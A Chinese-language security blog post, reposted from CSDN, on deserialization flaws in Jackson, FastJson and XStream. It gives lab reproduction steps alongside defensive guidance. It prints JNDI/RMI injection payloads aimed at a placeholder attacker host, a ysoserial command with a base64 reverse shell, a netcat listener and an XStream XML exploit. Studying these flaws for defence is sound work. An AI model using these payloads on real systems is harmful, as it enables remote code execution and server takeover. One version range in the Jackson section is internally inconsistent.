油墨香^_^头像

组件安全:Jackson、FastJson、XStream 反序列化漏洞深度解析与 CVE 复现指南

1. 引言:反序列化威胁与 Java 组件安全

在现代 Java 开发中,JSON 和 XML 是最常用的数据交换格式。为了提高开发效率,开发者广泛使用如 Jackson、FastJson 和 XStream 这样的序列化库来处理数据的序列化与反序列化。然而,这种便利性也引入了严重的不安全反序列化风险。根据 OWASP Top 10,不安全反序列化位列第八(A8:2017)和第六(A6:2021,与已知漏洞组件合并),其危害往往导致远程代码执行,让攻击者直接控制服务器。

1.1 漏洞本质:多态与信任边界

这些漏洞的核心在于 反序列化组件在处理数据时,允许或被迫实例化任意类。当攻击者能够控制反序列化数据中的类类型标识(如 @type、@class 或特定的 XML 标签),并利用 JDK 或第三方库中存在的“危险类”(Gadget)时,就可以构造调用链,最终执行恶意代码。常见的攻击手法包括:

  • JNDI 注入:通过 RMI 或 LDAP 协议远程加载恶意类。

  • 表达式注入:利用 SpEL 或 OGNL 执行系统命令。

  • 内存马注入:在运行时修改内存中的字节码,植入无文件后门。

1.2 靶场环境准备

为了方便复现,建议使用 vulhub 或自行搭建 Docker 环境。本文的复现主要基于以下环境:

  • JDK 版本:1.8.0_291(特定版本对 JNDI 利用有限制,需注意)。

  • 靶场:Vulhub 中的 /fastjson、/jackson、/xstream 目录。

  • 工具:Burp Suite、nc (Netcat)、ysoserial、marshalsec。


2. Jackson 反序列化漏洞深度解析

Jackson 是 Spring Boot 默认的 JSON 解析器,其核心组件 jackson-databind 在处理多态类型(Polymorphic Deserialization)时存在严重的安全缺陷。

2.1 漏洞原理:enableDefaultTyping 与多态

Jackson 的 ObjectMapper 默认只处理具体的 Java 类型。当开发者在代码中启用了 enableDefaultTyping() 或使用 @JsonTypeInfo 注解时,Jackson 会在序列化后的 JSON 中插入 @class 信息。反序列化时,Jackson 会根据 @class 指定的类名进行实例化。攻击者可以构造包含危险类的 JSON,从而触发 RCE。

2.2 经典漏洞:CVE-2017-7525 (JdbcRowSetImpl 链)

这是 Jackson 最经典的 JNDI 注入漏洞。

  • 影响版本:jackson-databind 2.6.0 - 2.8.10, 2.9.0 - 2.9.2。

  • 利用链:JdbcRowSetImpl 类中的 setAutoCommit 方法会触发 lookup 操作,从而加载攻击者指定的 JNDI 服务。

复现步骤:

  1. 启动 RMI 服务:使用 marshalsec 启动一个恶意的 RMI 服务器,绑定一个指向恶意类的引用。

    bash

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://{attacker-ip}/#Exploit" 1099
  2. 编译恶意类:编写 Exploit.java,在其中写入反弹 shell 或弹计算器命令,编译并在 80 端口开启 HTTP 服务。

  3. 发送 Payload:

    json

    {
      "param": ["com.sun.rowset.JdbcRowSetImpl", { "dataSourceName": "rmi://{attacker-ip}:1099/Exploit", "autoCommit": true }]
    }

    注意:在 Jackson 中,通常需要将恶意对象包装在数组中,因为数组的泛型擦除更容易触发多态反序列化 。

2.3 最新漏洞:CVE-2025-49128 (信息泄露)

虽然多数漏洞聚焦 RCE,但信息泄露同样危险。CVE-2025-49128 是一个较新的漏洞,影响 jackson-core 2.0.0 至 2.13.0 版本 。

  • 漏洞描述:当使用 JsonFactory.createParser(byte[] data, int offset, int len) 解析 JSON 且发生解析错误时,JsonLocation._appendSourceDesc 方法会错误地从缓冲区头部读取数据,而不是从偏移量开始。如果使用了 Netty 或 Vert.x 等复用缓冲区的框架,攻击者可以通过发送畸形 JSON 诱导报错,从而窃取缓冲区中残留的上一个请求的敏感数据(如 Token、密码)。

  • 修复建议:

    • 升级:升级至 jackson-core 2.13.0 或更高版本。

    • 临时缓解:禁用异常中的源码包含功能。

      java

      JsonFactory factory = new JsonFactory();
      factory.disable(JsonFactory.Feature.INCLUDE_SOURCE_IN_LOCATION);

3. FastJson 反序列化漏洞深度解析

FastJson 是阿里巴巴开源的 JSON 解析库,因其高性能而流行,但也因其频繁出现的 autoType 漏洞而被安全界诟病。

3.1 漏洞原理:autoType 与黑名单绕过

FastJson 通过 @type 字段来指定反序列化的具体类。如果开启了 autoType(默认开启),攻击者可以指定任意类。由于无法彻底封禁所有危险类,官方不断更新黑名单,而攻击者则持续寻找绕过方法 。

3.2 核心漏洞:CVE-2025-70974 (1.2.48 之前的绕过)

这是一个 CVSS 评分高达 10.0 的严重漏洞,影响了 1.2.48 及之前的所有版本 。

  • 漏洞背景:Fastjson 1.2.24 版本后增加了反序列化白名单,但在 1.2.48 以前,攻击者可以利用特殊构造的 JSON 字符串绕过白名单检测。

  • 利用手法:利用 java.lang.Class 类将恶意类加载到缓存中,然后绕过 autoType 检查,进而触发 JNDI 注入或直接实例化恶意类 。

复现步骤(以 1.2.24 版本为例,1.2.48 原理类似,利用链更复杂):

  1. 基础 Payload:

    json

    {
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "rmi://{attacker-ip}:1099/Exploit",
            "autoCommit": true
        }
    }
  2. 绕过策略:在高版本中,黑名单限制了 JdbcRowSetImpl。攻击者会寻找新的 Gadget,如 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(需要开启 Feature.SupportNonPublicField)或利用 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 进行类加载。

3.3 防御与修复

由于 Fastjson 的漏洞修复经常出现“修复-绕过-再修复”的循环,官方已宣布不再维护旧版本,建议采取以下措施:

  1. 升级版本:升级到 1.2.83 及以上版本(最新安全版本)。对于 1.2.48 之前版本,必须立即升级 。

  2. 关闭 autoType:在代码中显式禁止 autoType。

    java

    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  3. 迁移:考虑切换到 Jackson 或 Gson,并确保其配置安全。


4. XStream 反序列化漏洞深度解析

XStream 用于将 Java 对象序列化为 XML 或反序列化回来。由于 XML 的结构化更强,其反序列化攻击面也非常广,尤其是针对 EventHandler 和动态代理的利用。

4.1 漏洞原理:黑名单不完善与 Converter 机制

XStream 在反序列化 XML 时,通过 Converter 将 XML 标签转换为 Java 对象。历史上,XStream 依赖黑名单机制阻止危险类,但黑名单容易绕过,导致 java.beans.EventHandler 等类被滥用 。

4.2 典型漏洞:CVE-2021-29505

该漏洞影响 XStream 1.4.16 及之前版本,利用 sun.rmi.registry.RegistryImpl_Stub 构造 RMI 请求执行命令 。

  • 影响版本:XStream <= 1.4.16。

  • 利用链:利用 java.util.PriorityQueue 配合动态代理和 RMI 交互。

复现步骤:

  1. 开启监听:在攻击机上开启 RMI 监听器和反弹 Shell 监听。

    bash

    # 启动 JRMP 监听,利用 ysoserial 生成 CC6 链
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,{base64_encoded_shell}}|{base64,-d}|{bash,-i}"
    # 开启 nc 监听
    nc -lvvp 6666
  2. 发送恶意 XML:向目标发送 POST 请求,Body 内容如下:

    xml

    <java.util.PriorityQueue serialization='custom'>
        <unserializable-parents/>
        <java.util.PriorityQueue>
            <default>
                <size>2</size>
            </default>
            <int>3</int>
            <javax.naming.ldap.Rdn_-RdnEntry>
                <type>12345</type>
                <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                    <m__obj>rmi://{attacker-ip}:1099/Exploit</m__obj>
                </value>
            </javax.naming.ldap.Rdn_-RdnEntry>
        </java.util.PriorityQueue>
    </java.util.PriorityQueue>

    (注意:具体的 Payload 可能随 jdk 版本微调,核心是利用 Rdn 和 XString 触发 JNDI 查找 )

  3. 验证:如果成功,攻击机的 nc 将收到反弹的 shell 。

4.3 历史漏洞演进:CVE-2019-10173

CVE-2019-10173 是一个典型的补丁绕过案例。XStream 在 1.4.7 版本中禁止了 EventHandler 的自动转换(修复了 CVE-2013-7285),但在 1.4.10 版本中,由于未默认调用 setupDefaultSecurity,导致 EventHandler 再次生效,1.4.10 版本的 ReflectionConverter 重新开始处理 EventHandler,导致老洞重现 。

安全修复:
XStream 官方最终在 1.4.11 版本引入了 InternalBlackList,通过白名单机制彻底限制了危险类的加载 。

  • 升级:升级到 1.4.20 或更高版本。

  • 显式设置:

    java

    XStream xstream = new XStream();
    XStream.setupDefaultSecurity(xstream);
    xstream.allowTypes(new Class[]{MyTrusted.class}); // 显式允许白名单

5. 对比总结与防御指南

组件核心风险点典型漏洞防御难点最佳实践
JacksonenableDefaultTyping 导致的多态反序列化CVE-2017-7525, CVE-2025-49128黑名单绕过,高版本取消默认类型支持禁用 enableDefaultTyping;升级到 2.13+;不暴露异常详情
FastJsonautoType 机制与黑名单逻辑缺陷CVE-2025-70974, 1.2.24-1.2.48 系列修复难度大,绕过多,官方已不维护停止使用旧版本;关闭 autoType;迁移至 Jackson 或 Gson
XStream无限制的 XML 反序列化 & Converter 链CVE-2021-29505, CVE-2019-10173默认配置不安全,历史漏洞重复出现升级最新版;必须调用 setupDefaultSecurity;严格配置白名单

5.1 通用防御措施

  1. 升级依赖:这是最直接有效的办法。在 Maven 或 Gradle 中引入 dependency-check 插件,实时监控组件版本。

  2. 输入校验:对反序列化数据来源进行严格的信任边界控制。永远不要反序列化来自不可信源的数据。

  3. JVM 参数限制:在 JDK 高版本(如 6u141, 7u131, 8u121 及以上)中,可以通过以下参数限制 JNDI 攻击:

    bash

    -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
  4. RASP 防护:部署运行时应用自我保护系统,监控 Runtime.exec 或 JNDI lookup 等敏感方法调用。

5.2 应急响应流程

当发现疑似反序列化攻击时:

  1. 阻断:利用 WAF 或 API 网关阻断包含 @type、@class 或特定 Java 包名(如 JdbcRowSetImpl)的请求。

  2. 定位:在应用中搜索 ObjectMapper、JSON.parse、xstream.fromXML 的使用点,排查是否使用了危险配置。

  3. 修复:根据上述修复方案升级组件或修改配置。

6. 结语

Jackson、FastJson 和 XStream 的漏洞史是 Java 安全攻防的一个缩影。从最初的简单 JNDI 注入,到复杂的链式调用、黑名单绕过,再到现在的内存马植入,攻击者的手法不断演进。作为开发者,必须意识到“反序列化不可信数据等同于将系统控制权拱手相让”。

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/qq_41581588/article/details/159382258

文章来源转载

评论

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--